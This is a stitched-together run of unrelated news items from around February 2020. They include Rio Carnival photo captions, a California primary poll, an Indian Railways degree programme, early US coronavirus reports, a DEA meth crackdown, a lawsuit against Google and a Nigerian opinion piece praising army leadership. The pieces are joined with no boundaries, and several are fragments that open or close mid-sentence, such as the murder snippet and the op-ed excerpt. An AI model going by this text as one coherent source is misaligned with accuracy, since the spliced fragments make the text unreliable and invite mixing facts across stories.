Terra' street party wears an ornate headdress and extreme gold eyelashes, their face covered in glitter Getty Images Best pictures from Rio Carnival 2020 A person adorned with rainbow paraphernalia celebrates with the crowds Getty Images Best pictures from Rio Carnival 2020 A reveller at the Bloco Ceu na Terra street carnival celebration smiles menacingly at the camera, their face painted to look like a skull Getty Images Best pictures from Rio Carnival 2020 A festivalgoer smiles subtly downward at the camera Getty Images Best pictures from Rio Carnival 2020 A reveler smiles as they participate in the celebrations Getty Images Best pictures from Rio Carnival 2020 A partygoer smilse widely, their face adorned with gold and silver gems to match their headdress Getty Images Best pictures from Rio Carnival 2020 A reveller smiles jubilantly while holding a watering can that has a rose on the side, alongside the word 'Amor'blocau do Getty Images Best pictures from Rio Carnival 2020 Revellers perform at a block party called 'Carmelitas' during Carnival festivities in Rio de Janeiro, Brazil REUTERS/Pilar Olivares Best pictures from Rio Carnival 2020 People partake in the Bloco das Carmelitas street carnival celebration in the Santa Teresa neighbourhood in Rio de Janeiro, Brazil Photo by Bruna Prado/Getty Images Best pictures from Rio Carnival 2020 A woman at the Bloco das Carmelitas street carnival celebration smiles at the camera Photo by Bruna Prado/Getty Images Best pictures from Rio Carnival 2020 A man dresses as the devil for carnival festivities at the Bloco das Carmelitas Photo by Bruna Prado/Getty Images Best pictures from Rio Carnival 2020 The Carmelitas block party takes its name from the Carmelite Convent, which is situated in the Santa Theresa neighbourhood Photo by Bruna Prado/Getty Images Best pictures from Rio Carnival 2020 The origin of Bloco das Carmelitas comes from the legend of a Catholic nun who supposedly left her convent in order to take part in a carnival street party Photo by Bruna Prado/Getty Images Best pictures from Rio Carnival 2020 A man at the Carmelitas block party dons a serious expression as he faces up to the camera Photo by Bruna Prado/Getty Images Best pictures from Rio Carnival 2020 Revellers dressed as nuns appear in high spirits at Bloco das Carmelitas Photo by Bruna Prado/Getty Images Best pictures from Rio Carnival 2020 A woman smiles while dressed as a nun, accessorising with a pair of crown-shaped rainbow earrings Photo by Bruna Prado/Getty Images Best pictures from Rio Carnival 2020 A reveller displays a shocked expression during the Bloco das Carmelitas festivities Photo by Bruna Prado/Getty Images Best pictures from Rio Carnival 2020 People partake in carnival celebrations at the Carmelitas block party REUTERS/Pilar Olivares Best pictures from Rio Carnival 2020 A man places a crucifix in his mouth as he poses alongside a group of women dressed as nuns REUTERS/Pilar Olivares Best pictures from Rio Carnival 2020 A little girl is surrounded by revellers at the Carmelitas street party REUTERS/Pilar Olivares Best pictures from Rio Carnival 2020 Carmelitas partygoers dance joyfully REUTERS/Pilar Olivares Best pictures from Rio Carnival 2020 Two individuals display peace signs for the camera while attending the Carmelitas block party REUTERS/Pilar Olivares Best pictures from Rio Carnival 2020 A group of people wearing distinct carnival costumes pose together at the Carmelitas block party REUTERS/Pilar Olivares What does the Carnival celebrate? Rio Carnival is both rooted in European pagan traditions and Catholicism. It was originally a food festival, when people would take their last opportunity to gorge before the beginning of Lent, traditionally a time of abstinence and fasting in the Catholic Church. But the unique feel of the Carnival comes from the culture clash between the Portuguese colonisers and the indigenous people. The settlers bought over the tradition of Entrudo (Carnival) from Europe, where it met with the local populations passion for music and dance. Rio Carnival attracts thousands of performers (Getty Images) It gradually evolved into an annual city-wide party, culminating in the invention of samba in the early 20th century. The first samba schools were established in the 1920s, with the first samba parade competitions held in 1933. What are the main events? Recommended 10 best things to do in Rio de Janeiro There are samba parades taking place on 21, 22, 23 and 24 February, with the Champions Parade taking place on Saturday 29 February (where the six best schools get to strut their stuff). Tickets start from $20 for grandstand seats on the Sambadromes giant concrete steps. Theres also the Magic Ball at the Copacabana Palace, dubbed the grandest and most luxurious occasion in the Carnival, which takes place on Saturday 22 February. Guests can book seats on a table for a buffet dinner and access to the open bar or purchase a standing ticket. How can you take part? Visitors can participate too, provided theyre wearing a costume (Getty Images) Other than buying tickets for the parades and soaking up the atmosphere, Carnival goers can also opt to participate themselves, joining one of the available samba schools. All they have to do is purchase one of the official costumes listed on the website. However, its worth getting in there early costumes are subject to availability and the organisers tend to sell out by mid-January. Visit rio.com for more information and to buy tickets. 02/21/2020 Contact: Christine Gillette, 978-934-2209 (o), 978-758-4664 (c), or Christine_Gillette@uml.edu or Nancy Cicco, 978-934-4944 or Nancy_Cicco@uml.edu U.S. Sen. Bernie Sanders is in the lead with likely voters in the California Democratic primary, according to a new poll released today. Sanders has a lead with likely voters over U.S. Sen. Elizabeth Warren, 24 percent to 16 percent. Close behind is former Vice President Joe Biden at 13 percent, followed by former mayors Pete Buttigieg and Michael Bloomberg, who are tied at 12 percent. U.S. Sen. Amy Klobuchar of Minnesota is at 7 percent, U.S. Rep. Tulsi Gabbard is at 4 percent and businessman Tom Steyer is at 2 percent; 6 percent of California Democratic likely voters are undecided and 3 percent say they will vote for someone else. Detailed poll results including analysis, topline and methodology are available at www.uml.edu/polls. The nonpartisan poll is independently funded by the University of Massachusetts Lowells Center for Public Opinion, which conducts public-opinion polling at the state and national levels. The nationally recognized center uses the latest technology and highest standards in its surveys and is a member of the American Association for Public Opinion Researchs Transparency Initiative. The centers events and polls on political and social issues provide unique opportunities for civic engagement, experiential learning and research. With the California primary on Super Tuesday less than two weeks away, 32 percent of likely voters said they could still change their minds compared to 68 percent who said they are firm in their support of their chosen candidate. Eighty-one percent of Sanders supporters say they will definitely vote for him. Close behind him is Warren, with 74 percent of her supporters saying she definitely has their vote. Bloomberg follows at 68 percent and Biden is at 65 percent. The candidates whose support appears to be the softest are Buttigieg, with 40 percent of his supporters saying they will definitely for him, and Klobuchar, with 49 percent voter certainty. Among likely voters, Sanders is supported by the largest percentage (31 percent) of those younger than 45, compared with 22 percent who favor Warren. Sanders carries 20 percent of the vote for those 45 and older, while 12 percent support Warren. Bidens support by age is more balanced, with 15 percent among 18- to 44-year-olds and 13 percent for those over 45. Sanders also leads in California because of strong support from Latino likely voters (32 percent) compared to Warren (16 percent) and Biden (15 percent), according to the poll. Among white voters, however, Sanders leads by only 3 points, 21 percent to Warrens 18 percent. Bernie Sanders leads in California where he enjoys strong support from young voters and Latinos. But watch out for Elizabeth Warren. She trails by 8 and if she can parlay her strong debate performance into strong performances in Nevada and South Carolina, then she may be poised to make a play for part of the biggest delegate prize on Super Tuesday in the Golden State, said Joshua Dyck, director of the UMass Lowell Center for Public Opinion and associate professor of political science. The poll also asked likely voters in the California Democratic primary which candidate will ultimately win the partys nomination. Thirty-one percent said Sanders, followed by Biden with 14 percent and Bloomberg with 12 percent. However, 28 percent of voters surveyed said they are unsure. Likely voters were also asked whether they view the candidates favorably or unfavorably. Most of the candidates have positive net favorability ratings and all of them, except for Michael Bloomberg, score above 50 percent favorability. Sanders is a net +33 (63 percent favorable, 30 percent unfavorable). Warren, who trails him, bests him in terms of favorability numbers with a +42 net favorability rating (64 percent favorable, 22 percent unfavorable). Biden is net +36 (61 percent favorable, 25 percent unfavorable), Bloomberg is +11 (45 percent favorable, 34 percent unfavorable), Buttigieg is +36 (56 percent favorable, 20 percent unfavorable) and Klobuchar is +43 (54 percent favorable, 11 percent unfavorable). Several candidates have the problem of still being relatively unknown and having more than 20 percent of voters either say they have no opinion of them or that they have never heard of of them, including Steyer (34 percent no opinion/never heard of), Klobuchar (29 percent no opinion/never heard of), Buttigieg (24 percent no opinion/never heard of) and Bloomberg (21 percent no opinion/never heard of). The poll of 450 likely voters in the California Democratic primary was independently funded by the University of Massachusetts Lowell, which has more than 2,700 students and alumni who hail from the Golden State. The survey was designed and analyzed by the UMass Lowell Center for Public Opinion and fielded by YouGov from Feb. 12 through Feb. 20. It has an adjusted margin of error of plus or minus 6.7 percent. Full poll methodology is available at www.uml.edu/polls. In addition to the survey of likely voters in California, the Center for Public Opinion also released polls in three other Super Tuesday states this week. The findings include: In Massachusetts, Sanders has the support of 21 percent of likely voters in the Massachusetts Democratic primary compared to 20 percent who support Warren. Buttigieg is in third place at 15 percent, followed by Biden at 14 percent, Bloomberg polls at 12 percent, Klobuchar is at 9 percent, Gabbard is at 3 percent and Steyer is at 2 percent; 4 percent of likely voters are undecided. (Poll of 450 likely Massachusetts Democratic primary voters conducted Feb. 12 through Feb. 19 with an adjusted margin of error of plus or minus 6.1 percent.) In Minnesota, Klobuchar is ahead with the support of 27 percent of likely voters, followed by Sanders at 21 percent, Warren at 16 percent, Buttigieg at 10 percent, Biden and Bloomberg tied at 9 percent. Gabbard is at 4 percent and Steyer has less than 1 percent support, with 4 percent undecided. (Poll of 450 likely Minnesota Democratic primary voters conducted Feb. 12 through Feb. 19 with an adjusted margin of error of plus or minus 6.4 percent.) In North Carolina, Sanders has the edge with likely voters with 23 percent, followed by Bloomberg at 19 percent, Biden at 16 percent, Warren at 13 percent, Buttigieg at 10 percent, Klobuchar at 7 percent and Gabbard and Steyer tied at 3 percent, with 6 percent undecided. (Poll of 450 likely voters in North Carolina Democratic primary conducted Feb. 12 through Feb. 18 with an adjusted margin of error of plus or minus 6.5 percent.) UMass Lowell is a national research university located on a high-energy campus in the heart of a global community. The university offers its more than 18,000 students bachelors, masters and doctoral degrees in business, education, engineering, fine arts, health, humanities, sciences and social sciences. UMass Lowell delivers high-quality educational programs, vigorous hands-on learning and personal attention from leading faculty and staff, all of which prepare graduates to be leaders in their communities and around the globe. www.uml.edu The Indian Railways on Thursday announced its partnership with the University of Birmingham for the Joint Masters programme in Railway Systems Engineering and Integration in academic year 2020-2021 by the National Rail Transportation Institute (NRTI). The announcement was made by Chairman Railway Board Vinod Kumar Yadav and Lord Karan Billimoria, Chancellor, University of Birmingham here. Yadav said it was the dream of Prime Minister Narendra Modi to develop a Railway University which can look into all aspects of transportation. Over the last few years, a lot of transformational work has been done by Railways and the focus has been on capacity enhancement and modernisation of Railways. Indian Railways looks forward to a long-term association with University of Birmingham, he said. University of Birmingham Vice Chancellor Sir David Eastwood said the varsity is delighted to work with Indian Railways. University of Birmingham has a proven track record in delivering high quality programmes. He expressed his gratitude for getting the opportunity to work with Indian Railways, he said. According to the Railway Ministry officials, the programme that has been launched leads to dual M.Sc. that would see NRTI students obtaining two postgraduate degrees from both institutions, after spending a year studying at each institution. It will also provide flexibility for some modules of the programme to be delivered online in the form of a Postgraduate Certificate (PG Cert) and support for undergraduate teaching by University of Birmingham faculty at NRTI. This initiative will benefit NRTI students by providing them access to world class expertise and facilities in railway systems at the Birmingham Centre for Railway Research and Education (BCRRE), the national transporter said in a statement. The ministry said that BCRRE is also expected to gain valuable insight into Indias transport sector and get involved in related research and development issues in the country. A railway official said the initiative has been taken under the Centre of Excellence for Next Generation Transportation Systems that had been set up through a Memorandum of Understanding between the NRTI with the University of Birmingham on December 18 last year. A doctor asked the mother of a woman with Down syndrome "how hard are you going to try?" when they were discussing her treatment after a stroke. Christine Regan said she felt like she had been "punched in the gut" when the doctor dismissed her questions about a rehabilitation plan for her then 25-year-old daughter, Erin Sheehy. The royal commission into disability abuse was told people with disability need to be listened to in the health system. "It was just unbelievable," Ms Regan told the disability abuse royal commission, which heard from people with disability and their parents on Friday. "This man was just going to send her home to a life of paralysis and no control and possibly an early departure from this world, just because he had decided how important it was for her to be alive." More than half (58 percent) of the companies in the 27 EU member states reported that in 2018 they were confronted with difficulties in filling in the vacancies of IT&C (information technology and communication) specialists, and the most significant deficit was recorded in Romania, the data published by EU's office for statistics Eurostat on Friday showed. Approximately 9 percent of the EU companies recruited or tried to recruit IT&C specialists in 2018. Among the member states, although only 3 percent of the companies in Romania recruited or tried to recruit IT&C specialists in 2018, 90 percent of them argued that they had difficulties in filling these vacancies.Moreover, the recruitment of IT&C specialists was also difficult for companies in the Czech Republic (where 80 percent were confronted with difficulties), Austria (74 percent) and Sweden (72 percent).At the opposite pole, the percentage of companies which reported having hard-to-fill vacancies for jobs requiring relevant IT&C skills was below 40 percent in Spain (27 percent) and Greece (38 percent).The Eurostat data show that it has become increasingly hard for the EU companies to recruit IT&C specialists. The percentage of companies that had hard-to-fill vacancies for IT&C specialists stood at 37 percent in 2013 and 38 percent in 2014. Since then, this percentage increased significantly, by 4-6 percentage points per years, reaching a record level in 2018. LEASING Pyrmont Transport company Transdev Australasia has leased a 906 sq m corporate office in Pyrmont, close to its headquarters. The office at 33 Saunders Street, part of the City West office Park which comprises three high-quality office buildings grouped around a central landscaped courtyard was struck at a rental rate of between $625-650 gross per sq m. The lease term is five years. CBREs Fergus Bowen and Brendan Shipp, in conjunction with Jamie Horton and Julian Grosvenor of Cadigal, negotiated the lease. Alexandria Notaras Fish Markets has leased a 623 sq m retail warehouse at 29-31 ORiordan Street, from Windermere Holdings for $295 sq m net. The lease term is five years. Tom Barnier & Michael Crombie, Colliers International, negotiated the lease. Uri Krauss was turning 50. His wife, Adina was determined to mark the occasion with a memorable surprisethe dedication of a brand new Torah scroll. But where would such a gift have the maximum impact? Zurich based, Adina began doing research, looking for a community that didnt have its own scroll. A place where the donation would be used and appreciated. In 2018 Rabbi Avi and Mushky Feldman established Icelands first permanent Jewish institution when they opened the doors of Chabad of Iceland. The couple borrowed a Torah to use on Shabbat and Jewish holidays. Adina had found her match, and on Sunday, February 18, a year after the first letters of the Torah were inscribed, the Krauss family and friends joined Chabad of Iceland welcoming their new Torah scroll. US Ambassador to Iceland, Jeffrey Ross Gunter hosted a kosher reception at the embassy. This is historic. Congratulations to Rabbi Feldman as he grows the Jewish community of Iceland, contributing to the values that we as Americans all cherish, said the ambassador, who is Jewish. After the final letters had been inscribed, the Torah was carried on a musical procession along Laugavegur, Reykjaviks main street to its new home at Chabad. Passersby were enthusiastic about our celebration, and people of all faiths joined the revelry, Rabbi Avi told Lubavitch.com. It was, he said, a momentous occasion in Icelandic and Jewish history. Thanks to Adina and Uri, the rabbi noted, Reykjavik now has its own Torah, a vital piece toward completing the citys Jewish community infrastructure. A Torah scroll contains hundreds of thousands of letters. Each letter must be meticulously formed using quill and ink on a parchment made from the hide of a kosher animal, a process that can take up to twelve months and incur a price tag upwards of $30,000. SAN FRANCISCO (BCN) A person with the novel coronavirus was being treated Thursday at an unnamed San Francisco hospital, public health officials said. The person being treated was brought to San Francisco from Travis Air Force Base in Fairfield after traveling there from a cruise ship, according to the San Francisco Department of Public Health. The individual had no symptoms but the person tested positive for the virus in Japan and was quarantined at the air force base. Public health officials said all necessary precautions were being taken by the hospital to keep patients and staff safe. Public health officials were not releasing the name of the hospital or the name of the patient to protect the patient's privacy. A San Francisco hospital earlier this month treated two people from a different California county. The pair has since been discharged in good health and is no longer in the city, San Francisco officials said. Public health officials said there is a low risk that a resident will get the virus. The risk depends on a person's travel history rather than culture, race or ethnicity. Public health officials said no evidence exists of the virus spreading in the city. The latest information on the virus can be found at www.sfdph.org or at www.sf72.org. Copyright 2020 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. He killed his girlfriend and her daughters on Feb. 8 after a fight with Banks, according to the criminal complaint. He said she was upset over his decision to go to work as a security guard so soon after the Feb. 7 funeral of their son. One-year-old Arzel Ivery Jr. died from respiratory problems, according to an autopsy report. If you live in Westport, you know your way around town. You know how to navigate one-way roads like Church Lane, Myrtle Avenue by Town Hall, and Main Street heading to Brooks Corner. You know where you can park all day, where you can park for only a couple of hours, and where you are supposed to park for only a couple of hours but no one checks. You know whether to use the upper or lower lot for whatever youre doing at the library, and that its a lot easier to cross the Post Road from Taylor Place to Starbucks and PopTart gallery than just 10 yards away, by Anthropologie. You know that, but visitors dont. Thats why, as the Westport News reported last week, new wayfinding signage is headed our way. Wayfaring signage is 21st-century speak for signs. The problem is, weve already got plenty of them. We have signs for parking lots, street crossings, Town Hall and the library. However, they come in all shapes, sizes and colors. Thats confusing for visitors. And lord knows, they need to know there are parking spots available on Main Street (look for the abandoned stores), in Parker Harding Plaza (watch out for construction) and satellite lots (just a few minutes walk, if you know where youre going). The project has been in the works since 2015. Third Selectwoman Melissa Kane spearheaded the effort, with help from various stakeholders and committees. A Philadelphia firm called Merje its website says they merge graphic design with the clients they help, to enhance their brand will make sure the new signs are clear, consistent, easy to read and uncluttered. Theyll all feature Westports new rebranded colors. Thats all well and good. Visitors will now be welcomed appropriately, and unclutteredly, to town. Theyll find parking, shopping, information about nearby attractions you name it. Westport will join every other town and city in the country, all of whom have already done this. But what about the rest of us? We live here. Weve gotten used to our surroundings. Too used to them, perhaps. We need a sign or two ourselves. Perhaps, with a consistent typeface and in our rebranded colors, they could alert us to sights and opportunities lurking right beneath our too-cluttered, unnoticing noses. Saugatuck River! one sign might proclaim. We cross it every day. We kind of know its there. But how many of us really think about the river as an integral part of Westport? Do we consider how important it was to Westport back in the 1800s and early 1900s, when wharves lined its shores and ships carried our onions, axe handles and other random products and goods to New York and beyond? Unless we row, kayak or sail on it, do we think also about what the Saugatuck River means today? Downstream, maybe, but not downtown. Theres a reason: Weve overpowered it. Parker Harding Plaza built as landfill, when the river lapped up against the backs of Main Street stores should have signage directing us to look west at the river, and appreciate its many wonders. Another sign could point us to the pedestrian walkway that juts into the river at the edge of the parking lot opposite Rye Ridge Deli. Did you know you could take 10 steps and feel like youre in a different world? Youll see marshes, reeds, fish, wildlife and ducklings as they hatch. If youre a Westporter but have never taken this easy, amazing stroll, join the 99 percent of others who havent either. Then do it. A few steps away, a sign could direct us over the river itself. I have lived here my entire life, but I have yet to meet someone who parked on one side of the river and walked to the other to shop or eat. The sidewalk is wide. Exercise is good. Yet for Westporers, the Saugatuck River might as well be the Rio Grande. In our minds, it is way too risky and intimidating to cross. Of course, there is plenty to do on the west bank. There are stores like Age of Reason (amazing toys and service), delis like Winfield, several art galleries and plenty of good restaurants. Which leads me to parking. As popular as OKO and Bartaco are (and The Meatball Shop wasnt), theres a misperception that you cant park there. You can. An enormous double-decker lot the only one in Westport lurks across the street. Several signs direct diners there, but no one believes them. Its usually empty. If our new wayfaring signs can convince us to park there, then this project can truly be called a success. Dan Woog is a Westport writer, and his Woog's World appears each Friday. He can be reached at dwoog@optonline.net. His personal blog is danwoog06880.com. These conditions make it at once utterly remarkable, and totally explicable, that Mr. Sanders, the junior senator from Vermont and a democratic socialist, has become the front-runner for the Democratic nomination and that Ms. Warrens debate performance this week resonated as much as it did. You wouldnt know it from watching cable news, where pundits are often aghast at the tastes of regular people who think green rooms are just rooms that are green, but in recent years, anger at billionaires has risen to a boil. This is thanks to the financial crisis, to endless wars cheered on by corporate and media elites and to yawning inequality. There is a growing sense that billionaires are not people who just happen to have drifted up from our midst, that in fact they are up there because they are standing on our backs, pinning us down. Mr. Sanders and Ms. Warren, the senior senator from Massachusetts, have some meaningful differences of policy and personality. But the thread that connects their campaigns is their insistence that the left behind in America are not actually being left behind so much as stood on. They each seek to take the passive voice out of the grammar of American hardship: Your health insurance hasnt somehow, mysteriously been made too expensive; your brick-and-mortar store hasnt somehow, mysteriously been undercut. Someone did those things to you, probably by rigging the system to secure an undeserved advantage. And that person was probably a billionaire. The degree of support for these ideas in 2020 is astonishing in a center-right country where, as John Steinbeck once wrote, explaining socialisms limited growth in America: We didnt have any self-admitted proletarians. Everyone was a temporarily embarrassed capitalist. It is a reflection of how fed up many Americans are with the old narratives about how, with a little pluck and patience, they too will rise. And it is a sign of a generational changing of the guard. As the (millennial) journalist Charlotte Alter, author of the new book The Ones Weve Been Waiting For, told me, Socialism is a generational Rorschach test: Boomers think of Soviet gulags and bad shoes, millennials think of Swedish health care and free education. In the mainstream of the Democratic Party, it has long been said that billionaires should pay more of their fair share. But, until recently, few would have questioned that youd want more billionaires on the Forbes list, not fewer. Today a vocal chunk of the Democratic electorate is gravitating to a strikingly different conclusion: that America would actually be better off reducing its billionaire population through taxes and profit-trimming regulations. (In fact, if I could ask one debate question, it would be this: Raise your hand if you would want there to be more billionaires at the end of your presidency than the start; raise your hand if youd want fewer billionaires. Then, same question, but applied to millionaires. I think it would be revealing.) Ballooning anti-billionaire sentiment is galvanizing billionaires. Some have been motivated to go on television to cast their critics as naive and un-American. Others donate to centrist candidates like Mr. Biden, Mr. Buttigieg and Senator Amy Klobuchar of Minnesota, who serve a cocktail of down-home incrementalism shaken with wealth defense. But it took a special billionaire Mr. Bloomberg, the former mayor of New York to find a more direct way to thwart ascendant progressives. He is seeking to buy the election. Just when the accountants thought they knew every tax-avoidance trick, here is the ultimate: become the leader of the free world. Of course, Mr. Bloomberg would say that he is running for an entirely different reason, which also happens to be very billionairey: He thinks hes the only one with the wits and war chest to pull it off. I alone can fix it, as Mr. Trump once put it. It is something of a mantra for the billionaires. U.S. Drug Enforcement Administration Acting Administrator Uttam Dhillon announced the launch of Operation Crystal Shield at a news conference in Atlanta on Feb. 20, 2020. (Angie Wang/AP Photo) DEA to Crack Down on Meth Trafficking Hubs as Drug Overdose Deaths Rise Federal authorities will begin a crackdown on methamphetamine transportation hubs across the United States in an effort to block the distribution of the drug that is driving overdose deaths across nearly half of the country. Drug Enforcement Administration (DEA) Acting Administrator Uttam Dhillon announced the launch of a new DEA initiative, named Operation Crystal Shield, during a trip to Atlanta, according to the Department of Justice. It listed the city as one of eight identified by the DEA as a hub where the highly-addictive drug arrives in bulk to be distributed across the United States. By directing enforcement resources to these hubs, the agency hopes to crack down on the drug being smuggled across the U.S.-Mexico border and distributed nationwide. The seven other cities identified by the DEA as methamphetamine transportation hubs include Dallas, El Paso, Houston, Los Angeles, New Orleans, Phoenix, and St. Louisareas that accounted for more than 75 percent of methamphetamine seizures in the United States last year. The operation will target major drug trafficking networks, including Mexican cartels responsible for the majority of drug trafficking into and within the United States, the agency said. Dhillon said that while synthetic opioids such as fentanyl continue to drive drug overdose deaths in the United States, there has been a recent surge in deaths related to methamphetamine, adding that it is now time to act. For decades, methamphetamine has been a leading cause of violence and addictiona drug threat that has never gone away, he said at a news conference. With a 22 percent increase in methamphetamine-related overdose deaths, now is the time to act, and DEA is leading the way with a surge of interdiction efforts and resources, targeting regional transportation hubs throughout the United States. By reducing the supply of meth, we reduce the violence, addiction, and death it spreads. Between fiscal years 2017 and 2019, DEA seizures of the drug in the United States increased by 127 percent, from 49,507 pounds to 112,146 pounds. The number of DEA arrests related to methamphetamine rose nearly 20 percent, the DEA said. Meanwhile, in recent months, federal law enforcement officials saw a jump in the amount of the drug smuggled across the U.S.-Mexico borderroughly 50,000 pounds was seized from October through the end of January, more than the amount seized for the entire 2017 fiscal year, the Associated Press reported. Attorney General William P. Barr said methamphetamine has seen a troubling resurgence in recent years. Manufactured mostly in Mexican labs and smuggled into the United States across the southwest border, meth is a drug that is both cheap and potent, creating a deadly combination, he said. Just as the Trump Administration has acted swiftly to stem the tide of opioid fatalities, it will use every weapon in its arsenalsuch as the DEAs Operation Crystal Shieldto stop dangerous methamphetamine from reaching American neighborhoods and harming American families. A report released in October by the Centers for Disease Control and Prevention found that in 2017, methamphetamine was the drug most frequently involved in deaths in four regions that include 19 states west of the Mississippi. Operation Crystal Shield is expected to continue through at least the end of 2020. (Newser) The number of people in the US known to be infected with the new coronavirus is at 34 and rising, government health officials reported Friday. Thirteen of the patients were found to have the virus after returning from China, the New York Times reports. The other 21 were repatriated, including 18 people who were aboard the Diamond Princess, which is docked in Japan. The US count will rise once the CDC confirms more test results, said the director of the National Center for Immunization and Respiratory Diseases. Tests conducted in Japan found that another 10 Americans are infected, per CNN. story continues below The CDC hasn't found COVID-19 to be spreading in the US, the official said. But the agency is planning for that possibility and increasing its monitoring, per the Wall Street Journal. "This new virus represents a tremendous public health threat," Nancy Messonnier said. Seven of the US cases are in California, with one in Massachusetts, one in Washington state, one in Arizona, two in Illinois and one in Wisconsin. The 13th case, in Humboldt County, California, was confirmed Friday. Other Americans are seriously ill in hospitals in Japan, Messonnier said. (Read more COVID-19 stories.) San Francisco, Feb 21 : Google has been sued by New Mexico's Attorney General Hector Balderas who said that the tech giant used its educational products, such as Chromebooks, to spy on the state's children and families. "The consequences of Google's tracking cannot be overstated: Children are being monitored by one of the largest data mining companies in the world, at school, at home, on mobile devices, without their knowledge and without the permission of their parents," the lawsuit said, according to a report in The New York Times on Thursday. According to the lawsuit, Google was involved in collecting the personal information through a programme it has with New Mexico's school districts, in which it provides Chromebooks and access to G Suite for Education apps such as Google Docs, Gmail, and Calendar for free. The lawsuit added: Today, more than half of the nation's public schools -- and 90 million students and teachers globally -- use free Google Education apps like Gmail and Google Docs. More than 25 million students and teachers also use Chromebooks, laptops that run on the company's Chrome operating system. The New Mexico complaint comes in the wake of broader scrutiny on Google from a coalition of 50 state attorneys general -- including Balderas -- across the country. They're investigating Google's digital advertising operation, as well as other aspects of the company's business, in a high-profile antitrust probe, according to CNET. This is the terrifying moment a pair of elephants charge a group of tourists who were searching for wildlife in India. The incident, which took place on January 20 in the Nagarhole Park wildlife reserve, was captured on camera by a witness. Luckily for the tourists, the driver guiding the group was alerted to the possible danger and quickly sped off with the elephants in hot pursuit. Two elephants charged a group of tourists who were searching for wildlife in India in terrifying footage In the clip, two elephants are seen emerging from between trees as tourists travelling through the area sped through a forest. As the driver attempts to escape the charging animals, the elephants speed up behind him, before eventually crossing over the road and disappearing into the wilderness. Audio from the clip broadcasts the elephants trumpeting as a warning to the tourists to leave the area. Fortunately none of the elephants or the tourists were injured in the incident. The incident, which took place on January 20 in the Nagarhole Park wildlife reserve, was captured on camera by a witness In his book Political communication: Rhetoric, Government and Citizens, Dan F. Hahn said something that is very fascinating and directly relates to the thematic issues that informed the writing of this brief reflection which is a look at what the Nigerian military needs most at these times of intense counter terror battles in the North East of Nigeria. The author aforementioned, spoke about what he called Functions of definitions. Reflecting through the whole gamut of what he presented as the functions of definitions, this writer progressively interrogated the groundswell of perceptions, misperceptiobs and misinterpretations in the public space of Nigeria with specific reference to how people evaluate the performances of the service chiefs who are directly leading the counter terror war. There's no gainsaying the fact that most Nigerians are genuinely worried that the war on terror has lasted for too long. However, those who are calling for the heads of the service chiefs have forgotten that the war on terror began very long before their appointments were effectuated by President Muhammadu Buhari who has consistently withstood an avalanche or indeed a tsunami of pressures to sack his service chiefs but has rather passed a vote of confidence on these war time Generals. This is how the author under reference saw the functions of definitions: As I already have indicated, the overall function of definition is to control the societal dialogue. That is, all rhetors attempt to control the public dialogue by persuading others to see the world as they see it to know as they know, to value as they value. It would not seem, at first blush, that definitions could accomplish all that, but they can and do. More specifically, definitions are like blinders on a horse: they focus attention on some aspects while blinding us to others. They identify what the societal problem is (i.e., what should be done): and that, in turn, helps identify who should act. They help to focus and thereby limit debates and, if successful, even entirely eliminate the need to debate. Because most of us, most of the time, prefer to believe that the societal dialogues in which we are involved are about truth and justice rather than merely definitions it may be helpful to take a historic example rather than a contemporary one. Going forward, we will look at the good examples displayed by one of the best known war time generals that the world has ever known Winston Churchill and then we will conclude by doing a general appreciation of the role of motivational leadership styles of the leading military chief in the war on terror in Nigeria who is president Muhammadu Buharis appointed and trusted chief of Army staff lieutenant General Tukur Yusuf Buratai. As we seek knowledge about the place and role of the iconic British best known leader, the best reference source is the British Broadcasting Corporations website and to it we will now turn to gain a birds eye view of the historicity of this distinguished war time motivational leader and then we will establish a nexus between his examples and what kind of motivational role the Nigerian Army chief is playing. Churchill is one of the most famous Britons of the 20th Century, so echoes the British publicly funded Broadcasting behemoth reputed to ve one of the best nedia institutions globally. BBC says Winston Churchill is one of the most famous Britons of the 20th Century and led the country during the Second World War. He's a hero to many and his speeches are some of the most famous in history - there's even a statue of him outside Parliament. He's credited as being one of the driving forces that inspired the UK to keep fighting against Nazi Germany. But he also suffered with health problems and was a complicated person who said and did things that many people today don't like. Winston Churchill was born in 1874. He became a Member of Parliament (MP) in 1900. He was British prime minister from 1940-1945 and again between 1951 and 1955. Churchill is best remembered for successfully leading Britain through World War Two. He was famous for his inspiring speeches, and for his refusal to give in, even when things were going badly. Many people consider him the greatest Briton of all time and he's almost certainly the most famous British prime minister. Before World War Two started in 1939, he had warned about the rise of Hitler and the Nazis in Germany. He became British prime minister in 1940 after then-leader Neville Chamberlain resigned. Churchill's refusal to surrender to Nazi Germany inspired the country. Churchill lost power after World War Two ended in 1945. But he became prime minister again in 1951, before resigning four years later. My readers will see that the greatest of Great Britain came about by the kind of iconic leadership qualities of persons such as Winston Churchill. Such great leaders are also found in Nigeria. Also there is a nexus between the resilience of this British Icon with the motivational skills of Nigeria's current Army Chief Lieutenant General Tukur Yusuf Buratai who was discovered by President Muhammadu Buhari on assumption of office as elected civilian President. Nigeria's topsy turvy war on terror has thrown up the need for critical philosophers to analyse the place of motivational skills to the eventual victory of Nigeria over our adversarial armed rebels and TERROR suspects aligned with global jihadists movements of Islamic state. I think the current terrorists attacks are as tragic and satanic as the attacks by the Nazis and the ambitions by Adolph Hitler to annex the whole of Europe, to become a worlds superman and to annihilate the Jews. These evil aspirations were clinically defeated by the allied forces. The boko haram terrorists have not hidden their disdain for peace, territorial tranquility and social justice and have made their intention known to wipe out Christians and moderate Moslems. The terrorists have made lots of incursions into some territories of Nigeria but the brave Nigerian soldiers commanded by a brave general in the same persona as Winston Churchill, has made phenomenal efforts to ensure that Nigeria does not fall into the hands of terrorists. We must commend our fighters even as we need to canvass for better fighting weapons and technical support from the global leaders to end this huge war. General Buratai and his other fellow service chiefs have come under intense scrutiny. These criticisms have come at a time that the terrorists have managed to strike at soft targets such as publicly executing hostages most of whom were abducted either on their ways to assist the internally displaced war victims or on their way to the university of Maiduguri. Even a very young female student of university of Maiduguri who is from Plateau state is still a hostage. Leah Sharibu from Yobe State a Christian, who was captured when she was just 14 together with her other Moslem classmates, was held back even when others were freed and she has so far spent two years in captivity of boko haram terrorists. These bloodsheds have come with the backlash of calls from some quarters that the service chiefs should be dismissed. The Army chief in the face of these challenges continues to show examples of a motivational leader. Indeed, apart from better combat weapons, one vital commodity the combatants also need so as to successfully decimate the terrorists, is motivation and encouragement. Nigerians must show solidarity with the leadership of the military and should stop the unnecessary bickering because these service chiefs appointed and trusted by the commander-in-chief, are doing all that they can to win the war on terror in good time. They (service chiefs) are not war merchants 